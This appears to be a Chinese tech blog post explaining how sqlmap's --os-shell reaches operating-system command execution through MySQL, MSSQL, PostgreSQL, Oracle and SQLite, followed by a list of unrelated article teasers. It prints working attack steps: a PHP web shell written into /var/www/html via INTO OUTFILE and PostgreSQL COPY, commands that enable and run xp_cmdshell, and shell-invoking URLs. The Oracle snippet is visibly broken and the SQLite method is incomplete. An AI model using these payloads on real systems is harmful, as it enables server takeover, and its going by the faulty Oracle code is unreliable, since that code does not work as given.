当前位置：首页 > news >正文

sqlmap --os-shell的原理（MySQL,MSSQL,PostgreSQL,Oracle,SQLite）

news 来源：原创 2025/5/13 3:02:55

1. MySQL

条件

数据库用户需要具备高权限（如 FILE 权限）。
数据库服务运行用户需要对目标目录有写权限。
Web 服务器有可写目录，且支持执行上传的脚本（如 PHP、JSP 等）。

原理

利用 MySQL 的 SELECT ... INTO OUTFILE 功能，将恶意代码写入目标 Web 目录，生成一个 Web Shell 文件。
攻击者通过浏览器访问 Web Shell，获得命令执行能力。

流程

确认 FILE 权限：

SELECT * FROM mysql.user WHERE User='target_user';

写入 Web Shell 到目标目录：

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

通过浏览器访问 Web Shell 执行命令：
```
http://xxxxxx.com/shell.php?cmd=whoami
```

2. Microsoft SQL Server (MSSQL)

条件

数据库用户需要 sysadmin 权限。
目标服务器启用了扩展存储过程 xp_cmdshell。
数据库运行用户有命令执行权限。

原理

调用 MSSQL 的 xp_cmdshell 存储过程，直接在操作系统中执行命令。

流程

确认是否启用了 xp_cmdshell：

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

利用 xp_cmdshell 执行命令：
```
EXEC xp_cmdshell 'whoami';
```
通过命令的输出或回显获取执行结果。

3. PostgreSQL

条件

数据库用户需要对文件系统具有写权限。
数据库支持使用 COPY 命令将数据写入文件。
目标 Web 目录可写入文件，并允许脚本执行。

原理

利用 PostgreSQL 的 COPY 功能，将 Web Shell 写入目标文件系统。

流程

写入 Web Shell：

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

访问 Web Shell：
http://xxxxx.com/shell.php?cmd=id

4. Oracle

条件

数据库用户需要 CREATE LIBRARY 权限。
数据库运行用户需要访问操作系统。
利用外部过程或 Java 存储过程。

原理

通过 Oracle 数据库的外部过程，调用操作系统命令。
使用 Java 存储过程执行系统级操作。

流程

创建外部库（如 DLL 文件）：

CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';

调用外部过程执行命令：

DECLAREcmd VARCHAR2(1000);
BEGINcmd := 'ls';DBMS_SCHEDULER.CREATE_JOB(cmd);
END;

读取命令执行结果。

5. SQLite

条件

SQLite 本身无法直接与操作系统交互。
必须结合其他漏洞（如本地文件包含）实现 Web Shell。

原理

利用 SQLite 的 ATTACH 或其他功能，尝试将恶意数据写入特定目录。

流程

写入数据：

ATTACH DATABASE '/var/www/html/shell.php' AS shell;

在 Web 服务器中访问生成的 Web Shell 文件。

总结表

数据库	条件	原理	流程简述
MySQL	`FILE` 权限，Web 目录可写	写入 Web Shell 通过 `SELECT ... INTO OUTFILE`	写 Shell -> 访问 Shell -> 执行命令
MSSQL	`sysadmin` 权限，启用 `xp_cmdshell`	使用 `xp_cmdshell` 直接执行系统命令	开启 `xp_cmdshell` -> 执行命令
PostgreSQL	写权限，Web 目录可访问	使用 `COPY` 写入 Web Shell	写 Shell -> 访问 Shell -> 执行命令
Oracle	`CREATE LIBRARY` 权限，系统访问权限	使用外部库或 Java 存储过程调用系统命令	配置库 -> 调用命令
SQLite	结合其他漏洞（如文件包含）	写入恶意数据文件，结合其他漏洞（如 LFI）访问	写 Shell -> 结合 LFI 执行

sqlmap --os-shell的原理（MySQL,MSSQL,PostgreSQL,Oracle,SQLite）

1. MySQL 条件数据库用户需要具备高权限（如 FILE 权限）。数据库服务运行用户需要对目标目录有写权限。Web 服务器有可写目录，且支持执行上传的脚本（如 PHP、JSP 等）。原理利用 MySQL 的 SELECT ... INTO OUTFIL…...

编程日记 2025/5/13 3:02:55

浅谈网络安全态势感知

一、基本概念前美国空军首席科学家Endsley博士给出的动态环境中态势感知的通用定义是: 态势感知是感知大量的时间和空间中的环境要素，理解它们的意义，并预测它们在不久将来的状态。在这个定义中，我们可以提炼出态势感知的三个要素&#xf…...

编程日记 2025/5/4 16:56:17

【大模型】ChatGPT 提示词优化进阶操作实战详解

目录一、前言二、ChatGPT 提示词几个基本的优化原则 2.1 明确的提示词 2.1.1 提示词具体而清晰 2.1.1.1操作案例演示 2.2 确定焦点 2.2.1 操作案例演示 2.3 保持提示词的相关性 2.3.1 什么是相关性 2.3.2 提示词相关性操作案例一 2.3.2 提示词相关性操作案例二三…...

编程日记 2025/5/4 12:22:40

【计算机网络】实验11：边界网关协议BGP

实验11 边界网关协议BGP 一、实验目的本次实验旨在验证边界网关协议（BGP）的实际作用，并深入学习在路由器上配置和使用BGP协议的方法。通过实验，我将探索BGP在不同自治系统之间的路由选择和信息交换的功能，理解其在互…...

编程日记 2025/5/5 7:55:20

【Linux系统】System V 的 IPC 机制在 Linux 系统中的实现

System V 的 IPC（Inter-Process Communication，进程间通信） 机制是 UNIX 系统中的一大特色，用于在不同进程之间共享数据或同步操作。Linux 系统完整实现了 System V 的 IPC 机制，并在其基础上进行了优化和扩展。这些机…...

编程日记 2025/5/13 3:00:35

计算机网络安全

从广义来说，凡是涉及到网络上信息的机密性、报文完整性、端点鉴别等技术和理论都是网络安全的研究领域。机密性指仅有发送方和接收方能理解传输报文的内容，而其他未授权用户不能解密（理解）该报文报文完整性指报文在传输过程中不…...

编程日记 2025/5/13 2:35:39

30.100ASK_T113-PRO 用QT编写视频播放器(一)

1.再buildroot中添加视频解码库 X264, 执行 make menuconfig Target packages -->Libraries --> Multimedia --> X264 CLI 还需要添加 FFmpeg 2. 保存,重新编译 make all 3.将镜像下载开发板...

编程日记 2025/5/13 1:54:06

攻防世界 ctf刷题新手区1-10

unserialize3 因为我上个笔记写了 php返序列化所以先趁热打铁看这个题目名字我们就知道是反序列化呀因为flag有值所以我们先输个 111 看看有没有线索没线索但是这边有个发现就是他是使用get方式传参的可能他会把我们的输入进行传入后台有可能进行反…...

编程日记 2025/5/13 3:00:35

DAY35|动态规划Part03|LeetCode:01背包问题二维、01背包问题一维、416. 分割等和子集

目录 01背包理论基础（一） 基本思路 C代码 01背包理论基础（二） 基本思路 C代码 LeetCode:416. 分割等和子集基本思路 C代码 01背包理论基础（一） 题目链接：卡码网46. 携带研究材料文字…...

编程日记 2025/5/12 8:59:05

三款电容麦的对比

纸面参数第一款麦克风灵敏度: -36 dB 2 dB（0 dB1V/Pa at 1 kHz） 灵敏度较低，需要更高的增益来拾取同样的音量。频率响应: 40 Hz - 18 kHz 响应范围较窄，尤其在高频区域。等效噪音级: ≤18 dB（A计权） 噪…...

编程日记 2025/5/13 1:36:21

【实战攻略】如何从零开始快速实现深度学习新想法？——四步走战略

标题【实战攻略】如何从零开始快速实现深度学习新想法？——四步走战略【核心结论】通过四步走战略，即找到baseline论文、深入baseline代码、搭建自己的pipeline、融入核心算法，新手也能快速实现深度学习新想法。【通俗解释&#xff0…...

编程日记 2025/5/13 2:30:50

Python+OpenCV系列：入门环境搭建、图像读写、像素操作、色彩空间和通道、

入门环境搭建、图像读写、像素操作、色彩空间和通道 **Python与OpenCV环境搭建、图像处理与色彩空间介绍****引言****1. Python和OpenCV的环境搭建****1.1 安装Python和OpenCV****1.2 配置开发环境** **2. 图像的读取、显示与保存****2.1 图像的读取****2.2 图像的显示****2.3 …...

编程日记 2025/5/7 1:16:51

如何在鸿蒙API9和x86模拟器中使用MQTT

目录引言安装MQTT软件包避免MQTT软件包自动升级程序的编写运行测试结语引言虽然我的课主要是OpenHarmony南向开发的，但是结课时有个同学说他在写鸿蒙APP时无法将MQTT库加入到设备中，希望我帮忙看看。由于他没有鸿蒙的真机，只能…...

编程日记 2025/5/12 7:35:31

http multipart/form-data 数据如何分块传输是一次传输还是多次

multipart/form-data 是一种用于 HTTP 协议中传输数据的格式，它用于传输数据量较大的数据，如文件等。在 multipart/form-data 中，数据可以被分成多个部分（chunk），这些部分之间通过特定的分隔符进行分隔。 …...

编程日记 2025/5/12 9:34:32

️️耗时一周，肝了一个超丝滑的卡盒小程序

前言先看看成品效果： 在上个月，我出于提升自己的英语造句能力的目的，想要找一个阅读或者练习造句类的英语学习 APP，但是最终找了几个 APP 不是不太好用就是要付费。于是我转换思路，找到了一本书，叫《36…...

编程日记 2025/5/13 2:33:24

1.读取视频 v VideoReader(2222.mp4);出问题，报错： matlab 错误使用 VideoReader/initReader (第 734 行) 由于出现意外错误而无法读取文件。原因: Unable to initialize the video properties 出错 audiovideo.internal.IVideoReader (第 136 行) init…...

编程日记 2025/5/7 3:22:20

vscode插件 live-server配置https

背景：前端有时候需要在本地搭建https环境测试某些内容（如https下访问http资源，下载） 步骤： 1.vscode集成开发软件(应该所有前端开发同学都安装了，我用webstorm，vscode备用) 2.vscode安装live…...

编程日记 2025/5/13 2:47:26

腾讯最新图标点选验证码

注意，本文只提供学习的思路，严禁违反法律以及破坏信息系统等行为，本文只提供思路如有侵犯，请联系作者下架本文识别已同步上线至OCR识别网站： http://yxlocr.nat300.top/ocr/iconclick/9 注意：后续点选验证码内容我不会再讲那么详细，毕竟点选验证训练很多读者都会，而…...

编程日记 2025/5/12 9:34:31

安防视频监控平台Liveweb视频汇聚管理系统管理方案

智慧安防监控Liveweb视频管理平台能在复杂的网络环境中，将前端设备统一集中接入与汇聚管理。国标GB28181协议视频监控/视频汇聚Liveweb平台可以提供实时远程视频监控、视频录像、录像回放与存储、告警、语音对讲、云台控制、平台级联、磁盘阵列存储、视频集中存储、…...

编程日记 2025/5/12 9:34:30

VBA信息获取与处理第四个专题第二节：将工作表数据写入VBA数组

《VBA信息获取与处理》教程(版权10178984)是我推出第六套教程，目前已经是第一版修订了。这套教程定位于最高级，是学完初级，中级后的教程。这部教程给大家讲解的内容有：跨应用程序信息获得、随机信息的利用、电子邮件的发送、VBA互…...

编程日记 2025/5/12 9:02:30

神经网络入门实战：（六）PyTorch 中的实用工具 SummaryWriter 和 TensorBoard 的说明

(一) SummaryWriter 这里先讲解 SummaryWriter ，TensorBoard 会在第二大点进行说明。 SummaryWriter 是 PyTorch 中的一个非常实用的工具，它主要用于将深度学习模型训练过程中的各种日志和统计数据记录下来，并可以与 TensorBoard 配合使用&am…...

编程日记 2025/5/7 1:49:52

SpringBoot的validation参数校验

文章目录前言一、引入validation 依赖二、validation中的注解说明 （1）Validated（2）Valid（3）NotNull（4）NotBlank（5）NotEmpty（6）Patte…...

编程日记 2025/5/12 9:34:29

RPC与HTTP调用模式的架构差异

RPC（Remote Procedure Call，远程过程调用）和 HTTP 调用是两种常见的通信模式，它们在架构上有以下一些主要差异： 协议层面 RPC：通常使用自定义的二进制协议，对数据进行高效的序列化和反序列化&am…...

编程日记 2025/5/12 9:34:28

R语言机器学习论文（六）：总结

文章目录介绍参考文献介绍本文采用R语言对来自进行数据描述、数据预处理、特征筛选和模型构建。最后我们获得了一个能有效区分乳腺组织的随机森林预测模型，它的性能非常好，这意味着它可能拥有非常好的临床价值。在本文中，我们利用R语言对来自美国加州大学欧文分校的B…...

编程日记 2025/5/12 9:34:28

工业—使用Flink处理Kafka中的数据_ProduceRecord2

使用 Flink 消费 Kafka 中 ProduceRecord 主题的数据，统计在已经检验的产品中，各设备每 5 分钟生产产品总数，将结果存入HBase 中的 gyflinkresult:Produce5minAgg 表， rowkey“...

编程日记 2025/5/2 0:47:43

【嵌套查询】.NET开源 ORM 框架 SqlSugar 系列

.NET开源 ORM 框架 SqlSugar 系列【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列【Code First】.NET开源 ORM 框架 SqlSugar 系列【数据事务…...

编程日记 2025/5/12 9:34:01

SpringBoot整合JWT

一. JWT简介 1. 什么是JWT？ JWT(JSON Web Token)是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。它将用户信息加密到token里，服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性，只要正确即通过验证&…...

编程日记 2025/5/12 9:34:00

使用docker创建cloudstack虚拟主机

文章目录概要环境准备： 1.使用rockyLinux：8镜像 2.配置yum源 3.添加vim cloudstack.repo为以下内容 4.前期我们已经搭好了cloudstack平台，这里需要映射几个目录到容器里面， 5.创建Dockerfile 6.构建镜像 7.使用命令创建…...

编程日记 2025/5/12 9:33:59

mybatis-xml映射文件及mybatis动态sql

规范 XML映射文件的名称与Mapper接口名称一致，并且将XML映射文件和Mapper接口放置在相同包下(同包同名）。 XML映射文件的namespace属性为Mapper接口全限定名一致。 XML映射文件中sql语句的id与Mapper接口中的方法名一致，并保持返回类型一致…...

编程日记 2025/5/10 1:04:16

Qt | TCP服务器实现QTcpServer，使用线程管理客户端套接字

点击上方"蓝字"关注我们 01、QTcpServer >>> QTcpServer 是 Qt 网络模块中的一个类，用于实现TCP服务器。它允许创建一个服务器，可以接受来自客户端的连接。QTcpServer 是事件驱动的，这意味着它将通过信号和槽机制处理网络事件。常用函数构造函数： QT…...

编程日记 2025/5/12 9:33:58

rustdesk远程桌面使用

文章目录简介1.客户端rustdesk使用2.基于 S6-overlay 的镜像服务端部署3.声明简介为什么使用rustdesk，因为向日葵，todesk，免费版本的有各种各样的坑，比如限制你的登录，需要你重新登录使用，画面模糊&am…...

编程日记 2025/5/12 9:33:57

C#中图片的Base64编码与解码转换详解

在C#中，我们可以使用Base64编码将图片转换为字符串，也可以将Base64编码的字符串转换回图片。这通常用于在需要文本表示图像数据的场合（例如在Web开发中传输图像数据）。将图片转换为Base64字符串要将图片文件转换为Base64字符串…...

编程日记 2025/5/12 9:33:56

瑞芯微方案主板Linux修改系统串口波特率教程，触觉智能RK3562开发板演示

遇到部分串口工具不支持1500000波特率，这时候就需要进行修改，本文以触觉智能RK3562开发板修改系统波特率为115200为例，介绍瑞芯微方案主板Linux修改系统串口波特率教程。温馨提示：瑞芯微方案主板/开发板串口波特率只支持115200或…...

编程日记 2025/5/12 9:33:55

阿里云整理（二）

阿里云整理 1. 访问网站2. 专业名词2.1 域名2.2 域名备案2.3 云解析DNS2.4 CDN2.5 WAF 1. 访问网站用户使用浏览器访问网站大体分为几个过程： 用户在浏览器输入域名URL，例如www.baidu.com。不过，浏览器并不知道为该域名提供服务的服务器具…...

编程日记 2025/5/6 0:49:19

python实现一个简单的不断发送dns查询的功能

the code below: import socket import struct import time import randomdef create_dns_query(domain"example123.com"):# DNS HeaderID random.randint(0, 65535) # 随机查询IDFLAGS 0x0100 # Standard queryQDCOUNT 1 # One questionANCOUNT 0 # …...

编程日记 2025/5/12 9:33:54

鲲鹏麒麟使用Docker部署Redis5

本次部署采用Docker方式进行部署，服务器为鲲鹏服务器，CPU架构为ARM64，操作系统版本信息为 # cat /etc/kylin-release Kylin Linux Advanced Server release V10 (Tercel)镜像下载镜像鲲鹏麒麟Redis5镜像包部署 1、上传镜像到服务器 2、…...

编程日记 2025/5/11 17:49:34

MySQL悲观锁和乐观锁

MySQL悲观锁和乐观锁在数据库中，锁是用来管理并发控制的一种机制，确保数据的一致性和完整性。MySQL中的悲观锁和乐观锁是两种不同的并发控制策略，它们在处理并发事务时采用不同的方法。悲观锁（Pessimistic Locking&#xff09…...

编程日记 2025/5/12 9:33:52

【AI模型对比】Kimi与ChatGPT的差距：真实对比它们在六大题型中的全面表现！

文章目录 Moss前沿AI语义理解文学知识数学计算天文学知识物理学知识英语阅读理解详细对比列表总结与建议 Moss前沿AI 【OpenAI】获取OpenAI API Key的多种方式全攻略：从入门到精通，再到详解教程！！ 【VScode】VSCode中的智能AI-G…...

编程日记 2025/5/12 9:33:52

一根网线如何用软路由给手机、电脑分配设置不同IP

众所周知，在同一个网络下，我们的互联网IP是一样的，即外网只有一个IP。很多互联网公司、游戏工作室、营利工作室都需要利用它们来实现同一网络下多台设备IP地址不同的效果。对此我们该怎么办？下面给大家简单分享一下！ 在…...

编程日记 2025/5/11 22:20:44

面经自测——自我介绍

前言这是作者新开的坑，一切题目都是从网上找的原题，为了总结网上有关的面经，以便在真实面试中较为流利的回答面试官的问题面试之——自我介绍自我介绍是面试中最常见的问题之一，主要目的是让面试官了解你的背景、技能和职业…...

编程日记 2025/5/12 9:33:49

uniapp 小程序监听全局路由跳转获取路由参数

uniapp 小程序监听全局路由跳转获取路由参数 app.vue中 api文档 onLaunch: function(options) {let that this;let event [navigateTo, redirectTo, switchTab, navigateBack];event.forEach(item > {uni.addInterceptor(item, { //监听跳转//监听跳转success(e) {tha…...

编程日记 2025/5/11 20:50:10

【LeetCode每日一题】——204.计数质数

文章目录一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【题目提示】七【解题思路】八【时空频度】九【代码实现】十【提交结果】一【题目类别】数组二【题目难度】中等三【题目编号】 204.计数质数四【题目描述】给定整数 n &…...

编程日记 2025/5/11 13:07:01

TCP的“可靠性”（下）——三次握手四次挥手

目录建立连接（三次握手）为啥要进行握手？？意义何在？？常见面试题：为啥必须是三次握手？ 断开连接（四次挥手）三次握手和四次挥手的相同点和不同点连接过程中涉及…...

编程日记 2025/5/11 17:33:57

【笔记2-5】ESP32：freertos消息队列

主要参考b站宸芯IOT老师的视频，记录自己的笔记，老师讲的主要是linux环境，但配置过程实在太多问题，就直接用windows环境了，老师也有讲一些windows的操作，只要代码会写，操作都还好，开发…...

编程日记 2025/5/12 9:33:45

java操作doc(二)——java利用Aspose.Words动态创建自定义doc文档

有关java动态操作word文档，上一篇写了如何使用模板动态设置对于内容以及相关单元格的动态合并问题，详细请参看如下文档： java利用Aspose.Words操作Word动态模板文档并动态设置单元格合并这篇文档说说，如何利用Aspose.Words动态…...

编程日记 2025/5/12 9:33:44

计算机光电成像理论基础

一、透过散射介质成像 1.1 光在散射介质中传输光子携带物体信息并进行成像的过程是一个涉及光与物质相互作用的物理现象。这个过程可以分为几个步骤来理解： 1. **光的发射或反射**： - 自然界中的物体可以发射光（如太阳）&am…...

编程日记 2025/5/12 9:33:43

【Qt中实现屏幕录制】

在Qt中实现屏幕录制可以通过使用QScreen和QVideoEncoder类来完成。以下是一个简单的示例代码，演示如何捕获屏幕并将其保存为视频文件。请确保已经安装了Qt Multimedia模块，因为我们将使用其中的类来处理视频编码。下面是一个基本的实现步骤&#xff1a…...

编程日记 2025/5/12 9:33:42

repo仓库转移到自己本地的git服务器

前提条件：搭建好gitolite 以转移正点原子rk3568_linux工程为例子，将其转移到自己的git服务器。获取完整repo仓库将正点原子epo仓库sync出来 evanevan-X99:~/SRC/atk$ .repo/repo/repo sync -l -j10 evanevan-X99:~/SRC/atk$ .repo/repo/repo list -n…...

编程日记 2025/5/12 3:23:17

java操作文件(一)——java如何实现多文件打包压缩并下载

在实际开发项目过程中，文件下载是异常频繁的操作，但是多文件zip打包下载并非常见使用场景，本文介绍如何使用io流操作多文件实现压缩并下载。特别说明： 无需依赖任何第三方包或者拆件一、效果展示： 1.打包前文件列…...

编程日记 2025/5/10 3:59:13

Git仓库移除文件的暂存和修改

在使用Git进行版本控制时，有时需要移除文件的暂存状态或者撤销对文件的修改。根据不同的需求和场景，可以采取不同的命令来完成这些操作。下面将详细介绍如何在Git中移除文件的暂存以及撤销文件的修改。请注意，在执行这些命令之前&#xff0…...

编程日记 2025/5/12 8:48:39

1. MySQL

条件

原理

流程

2. Microsoft SQL Server (MSSQL)

条件

原理

流程

3. PostgreSQL

条件

原理

流程

4. Oracle

条件

原理

流程

5. SQLite

条件

原理

流程

总结表

相关文章：